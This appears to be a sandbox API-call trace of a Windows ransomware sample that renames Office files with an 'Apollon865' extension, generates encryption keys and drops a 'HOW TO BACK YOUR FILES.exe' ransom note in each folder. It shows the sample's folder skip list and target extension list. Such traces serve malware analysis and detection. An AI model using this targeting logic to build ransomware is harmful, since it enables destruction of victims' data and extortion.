	[0075.982] lstrlenW (lpString="Office32MUI.XML") returned 15
	[0075.982] lstrlenW (lpString="Apollon865") returned 10
	[0075.982] lstrcmpiW (lpString1="e32MUI.XML", lpString2="Apollon865") returned 1
	[0075.982] lstrlenW (lpString=".dll") returned 4
	[0075.982] lstrcmpiW (lpString1="Office32MUI.XML", lpString2=".dll") returned 1
	[0075.982] lstrlenW (lpString=".lnk") returned 4
	[0075.983] lstrcmpiW (lpString1="Office32MUI.XML", lpString2=".lnk") returned 1
	[0075.983] lstrlenW (lpString=".ini") returned 4
	[0075.983] lstrcmpiW (lpString1="Office32MUI.XML", lpString2=".ini") returned 1
	[0075.983] lstrlenW (lpString=".sys") returned 4
	[0075.983] lstrcmpiW (lpString1="Office32MUI.XML", lpString2=".sys") returned 1
	[0075.983] lstrlenW (lpString="Office32MUI.XML") returned 15
	[0075.983] lstrlenW (lpString="bak") returned 3
	[0075.983] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.983] lstrlenW (lpString="ba_") returned 3
	[0075.983] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.983] lstrlenW (lpString="dbb") returned 3
	[0075.983] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.983] lstrlenW (lpString="vmdk") returned 4
	[0075.983] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.983] lstrlenW (lpString="rar") returned 3
	[0075.983] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.983] lstrlenW (lpString="zip") returned 3
	[0075.983] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.983] lstrlenW (lpString="tgz") returned 3
	[0075.983] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.983] lstrlenW (lpString="vbox") returned 4
	[0075.983] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.983] lstrlenW (lpString="vdi") returned 3
	[0075.983] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.983] lstrlenW (lpString="vhd") returned 3
	[0075.983] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.983] lstrlenW (lpString="vhdx") returned 4
	[0075.983] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.983] lstrlenW (lpString="avhd") returned 4
	[0075.983] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.983] lstrlenW (lpString="db") returned 2
	[0075.983] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.983] lstrlenW (lpString="db2") returned 3
	[0075.983] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.983] lstrlenW (lpString="db3") returned 3
	[0075.983] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.983] lstrlenW (lpString="dbf") returned 3
	[0075.983] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.983] lstrlenW (lpString="mdf") returned 3
	[0075.984] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.984] lstrlenW (lpString="mdb") returned 3
	[0075.984] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.984] lstrlenW (lpString="sql") returned 3
	[0075.984] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.984] lstrlenW (lpString="sqlite") returned 6
	[0075.984] lstrcmpiW (lpString1="UI.XML", lpString2="sqlite") returned 1
	[0075.984] lstrlenW (lpString="sqlite3") returned 7
	[0075.984] lstrcmpiW (lpString1="MUI.XML", lpString2="sqlite3") returned -1
	[0075.984] lstrlenW (lpString="sqlitedb") returned 8
	[0075.984] lstrcmpiW (lpString1="2MUI.XML", lpString2="sqlitedb") returned -1
	[0075.984] lstrlenW (lpString="xml") returned 3
	[0075.984] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.984] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.Apollon865") returned 121
	[0075.984] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0075.985] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1383) returned 1
	[0075.985] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.986] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.986] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.986] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.987] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x870, lpName=0x0) returned 0x118
	[0075.988] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x870) returned 0x100000
	[0075.989] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.990] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.990] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.990] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.990] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.990] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.990] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.990] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.990] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.990] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0075.990] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.990] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0075.990] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.990] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.991] CloseHandle (hObject=0x118) returned 1
	[0075.991] CloseHandle (hObject=0xc0) returned 1
	[0075.991] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.991] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.991] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.991] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0075.991] lstrcmpiW (lpString1="SETUP.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.991] lstrcmpiW (lpString1="SETUP.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.991] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1
	[0075.991] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1
	[0075.991] lstrcmpiW (lpString1="SETUP.XML", lpString2="windows") returned -1
	[0075.991] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1
	[0075.991] lstrcmpiW (lpString1="SETUP.XML", lpString2="temp") returned -1
	[0075.991] lstrcmpiW (lpString1="SETUP.XML", lpString2="pagefile.sys") returned 1
	[0075.991] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot") returned 1
	[0075.991] lstrcmpiW (lpString1="SETUP.XML", lpString2="ids.txt") returned 1
	[0075.991] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1
	[0075.991] lstrcmpiW (lpString1="SETUP.XML", lpString2="perflogs") returned 1
	[0075.991] lstrcmpiW (lpString1="SETUP.XML", lpString2="MSBuild") returned 1
	[0075.991] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0075.991] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML"
	[0075.991] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.991] lstrlenW (lpString="Apollon865") returned 10
	[0075.991] lstrlenW (lpString=".dll") returned 4
	[0075.991] lstrcmpiW (lpString1="SETUP.XML", lpString2=".dll") returned 1
	[0075.991] lstrlenW (lpString=".lnk") returned 4
	[0075.991] lstrcmpiW (lpString1="SETUP.XML", lpString2=".lnk") returned 1
	[0075.991] lstrlenW (lpString=".ini") returned 4
	[0075.992] lstrcmpiW (lpString1="SETUP.XML", lpString2=".ini") returned 1
	[0075.992] lstrlenW (lpString=".sys") returned 4
	[0075.992] lstrcmpiW (lpString1="SETUP.XML", lpString2=".sys") returned 1
	[0075.992] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.992] lstrlenW (lpString="bak") returned 3
	[0075.992] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.992] lstrlenW (lpString="ba_") returned 3
	[0075.992] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.992] lstrlenW (lpString="dbb") returned 3
	[0075.992] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.992] lstrlenW (lpString="vmdk") returned 4
	[0075.992] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.992] lstrlenW (lpString="rar") returned 3
	[0075.992] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.992] lstrlenW (lpString="zip") returned 3
	[0075.992] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.992] lstrlenW (lpString="tgz") returned 3
	[0075.992] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.992] lstrlenW (lpString="vbox") returned 4
	[0075.992] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.992] lstrlenW (lpString="vdi") returned 3
	[0075.992] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.992] lstrlenW (lpString="vhd") returned 3
	[0075.992] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.992] lstrlenW (lpString="vhdx") returned 4
	[0075.992] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.992] lstrlenW (lpString="avhd") returned 4
	[0075.992] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.992] lstrlenW (lpString="db") returned 2
	[0075.992] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.992] lstrlenW (lpString="db2") returned 3
	[0075.992] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.992] lstrlenW (lpString="db3") returned 3
	[0075.992] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.992] lstrlenW (lpString="dbf") returned 3
	[0075.992] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.992] lstrlenW (lpString="mdf") returned 3
	[0075.992] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.992] lstrlenW (lpString="mdb") returned 3
	[0075.993] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.993] lstrlenW (lpString="sql") returned 3
	[0075.993] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.993] lstrlenW (lpString="sqlite") returned 6
	[0075.993] lstrcmpiW (lpString1="UP.XML", lpString2="sqlite") returned 1
	[0075.993] lstrlenW (lpString="sqlite3") returned 7
	[0075.993] lstrcmpiW (lpString1="TUP.XML", lpString2="sqlite3") returned 1
	[0075.993] lstrlenW (lpString="sqlitedb") returned 8
	[0075.993] lstrcmpiW (lpString1="ETUP.XML", lpString2="sqlitedb") returned -1
	[0075.993] lstrlenW (lpString="xml") returned 3
	[0075.993] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.993] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.Apollon865") returned 115
	[0075.993] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0075.994] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2362) returned 1
	[0075.994] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.994] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.994] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.994] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.995] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.995] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.995] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc40, lpName=0x0) returned 0x118
	[0075.996] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc40) returned 0x100000
	[0075.997] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.998] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.998] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.998] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.998] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.998] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.998] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.998] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.998] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.998] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0075.998] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.998] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0075.998] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.998] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.999] CloseHandle (hObject=0x118) returned 1
	[0075.999] CloseHandle (hObject=0xc0) returned 1
	[0075.999] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.999] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.999] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.999] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0075.999] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.999] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c90
	[0075.999] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us"
	[0075.999] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa890 | out: hHeap=0x580000) returned 1
	[0075.999] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0075.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us") returned 92
	[0075.999] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us"
	[0075.999] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.999] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.005] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x455ebd90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x455ebd90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.005] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.005] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.005] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.005] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x455ebd90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x455ebd90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.005] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.005] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.005] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.005] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.005] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1
	[0076.006] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.006] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0076.006] lstrcmpiW (lpString1="BRANDING.DLL", lpString2=".") returned 1
	[0076.006] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="..") returned 1
	[0076.006] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="windows") returned -1
	[0076.006] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="bootmgr") returned 1
	[0076.006] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="temp") returned -1
	[0076.006] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="pagefile.sys") returned -1
	[0076.006] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="boot") returned 1
	[0076.006] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="ids.txt") returned -1
	[0076.006] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="ntuser.dat") returned -1
	[0076.006] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="perflogs") returned -1
	[0076.006] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="MSBuild") returned -1
	[0076.006] lstrlenW (lpString="BRANDING.DLL") returned 12
	[0076.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*") returned 94
	[0076.006] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="BRANDING.DLL" | out: lpString1="BRANDING.DLL") returned="BRANDING.DLL"
	[0076.006] lstrlenW (lpString="BRANDING.DLL") returned 12
	[0076.006] lstrlenW (lpString="Apollon865") returned 10
	[0076.006] lstrcmpiW (lpString1="ANDING.DLL", lpString2="Apollon865") returned -1
	[0076.006] lstrlenW (lpString=".dll") returned 4
	[0076.006] lstrcmpiW (lpString1="BRANDING.DLL", lpString2=".dll") returned 1
	[0076.006] lstrlenW (lpString=".lnk") returned 4
	[0076.006] lstrcmpiW (lpString1="BRANDING.DLL", lpString2=".lnk") returned 1
	[0076.006] lstrlenW (lpString=".ini") returned 4
	[0076.006] lstrcmpiW (lpString1="BRANDING.DLL", lpString2=".ini") returned 1
	[0076.006] lstrlenW (lpString=".sys") returned 4
	[0076.006] lstrcmpiW (lpString1="BRANDING.DLL", lpString2=".sys") returned 1
	[0076.006] lstrlenW (lpString="BRANDING.DLL") returned 12
	[0076.006] lstrlenW (lpString="bak") returned 3
	[0076.006] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1
	[0076.006] lstrlenW (lpString="ba_") returned 3
	[0076.006] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1
	[0076.006] lstrlenW (lpString="dbb") returned 3
	[0076.006] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1
	[0076.006] lstrlenW (lpString="vmdk") returned 4
	[0076.006] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1
	[0076.007] lstrlenW (lpString="rar") returned 3
	[0076.007] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1
	[0076.007] lstrlenW (lpString="zip") returned 3
	[0076.007] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1
	[0076.007] lstrlenW (lpString="tgz") returned 3
	[0076.007] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1
	[0076.007] lstrlenW (lpString="vbox") returned 4
	[0076.007] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1
	[0076.007] lstrlenW (lpString="vdi") returned 3
	[0076.007] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1
	[0076.007] lstrlenW (lpString="vhd") returned 3
	[0076.007] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1
	[0076.007] lstrlenW (lpString="vhdx") returned 4
	[0076.007] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1
	[0076.007] lstrlenW (lpString="avhd") returned 4
	[0076.007] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1
	[0076.007] lstrlenW (lpString="db") returned 2
	[0076.007] lstrcmpiW (lpString1="LL", lpString2="db") returned 1
	[0076.007] lstrlenW (lpString="db2") returned 3
	[0076.007] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1
	[0076.007] lstrlenW (lpString="db3") returned 3
	[0076.007] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1
	[0076.007] lstrlenW (lpString="dbf") returned 3
	[0076.007] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1
	[0076.007] lstrlenW (lpString="mdf") returned 3
	[0076.007] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1
	[0076.007] lstrlenW (lpString="mdb") returned 3
	[0076.007] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1
	[0076.007] lstrlenW (lpString="sql") returned 3
	[0076.007] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1
